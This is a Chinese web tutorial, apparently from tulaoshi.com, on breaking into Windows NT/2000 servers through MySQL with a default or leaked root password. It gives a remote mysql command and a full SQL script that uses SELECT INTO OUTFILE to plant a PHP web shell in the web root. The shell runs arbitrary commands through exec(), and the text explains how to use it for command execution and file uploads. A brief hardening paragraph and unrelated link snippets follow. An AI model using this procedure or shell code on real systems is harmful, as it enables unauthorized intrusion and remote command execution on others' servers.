通过mysql入侵NT和win2000

2016-01-29 15:06 4 1 收藏

通过mysql入侵NT和win2000,通过mysql入侵NT和win2000

【 tulaoshi.com - MySQL 】

  许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:mysqlbinmysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:mysqlbin

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()<?if (isset($cmd)){$cmd=stripslashes($cmd);exec("$cmd temp.dat");}?<style type="text/css"<!-- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px--</style<p class="title2" </p<form name="form1" method="post" action="/cmd2.php" <input type="text" name="cmd" size="50" class="form1"</form<form name="form2" method="post" action="" <p <textarea name="text" cols="120" rows="50" class="form1"<?if(isset($cmd)){readfile("temp.dat");unlink("temp.dat");}?</textarea </p</form</body');
select * from tmp into outfile 'd:newcmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:newcmd2.php。然后删除tmp这个我们创建的table。这里的d:new的目录是该机器的web目录。然后我们就可以在浏览器中输http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。

 

来源:https://www.tulaoshi.com/n/20160129/1495244.html

延伸阅读
标签: Java JAVA基础
布丁在大作我的在WIN2000下的jsp的安装中提到: 1.下载jdk1.3和tomcat; 2.安装jdk1.3和解压tomcat到c:盘根目录下; 3.进入tomcat的目录里,找到startup.bat文件,打开编辑。 在行call tomcat start的前面加上两行: SET TOMCAT_HOME=c:\tomcat 和 SET JAVA_HOME=c:\jdk1.3 注:c:\jdk1.3是jdk1.3安装的位置。 4.然后鼠标右键点击“我的电...
标签: MySQL mysql数据库
安装选默认目录就可以了 c:\mysql 把 c:\mysql\my-example.cnf copy 为 c:\my.cnf 要修改的自己去看看吧,很简单的 把 c:\mysql\lib\cygwinb19.dll copy 到 winnt\system32 启动 mysql c:\mysql\bin\mysqld-shareware --install net start mysql 启动啦 更改 root 的 password C:\mysql\bin\mysql mysql mysql> UPDATE user SET password=PA...
标签: windows 操作系统
近日,国外网站登出一份教你在32MB系统上安装运行Windows 2000系统的简短优化指南,对于很多依旧使用半“古董”系统的用户来说颇有借鉴作用。 优化之前:Windows 2000系统开机需要30秒时间,还剩下3-4MB内存空间供软件运行使用。系统反应速度让人想自杀。 优化之后:Windows 2000系统开始时间仅10秒,还剩10MB以上内存...
标签: Web开发
一、前期准备情况 Apache2(Win32) 完全模块化安装perl,php,ssl 1。一个安装好的WIN2000服务器,注意:如果你的机器上已经安装了IIS,将IIS里的所有web站点停掉或端口改成别的先。 2。下载软件 APACHE 2.0.48 Perl 4.3.1 PHP 4.3.1 MYSQL 4.0.12 ZendOptimizer 还有几个小东西,很重要,后面的安...
标签: windows 操作系统
在同一台计算机上安装多个操作系统的做法渊源已久,软件爱好者对之更是乐之不倦。在Windows XP正式发布之前,早已有若干个测试版本流行于市,难道你不想安装一个体验新感觉吗?当然,缘于对测试版并不完善、稳定的固有担心,你并不想破坏计算机中原有的操作系统Windows 2000,怎么办?只要配置得当,实现二者的双引导可信手拈来,轻松容易! ...

经验教程

141

收藏

63
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部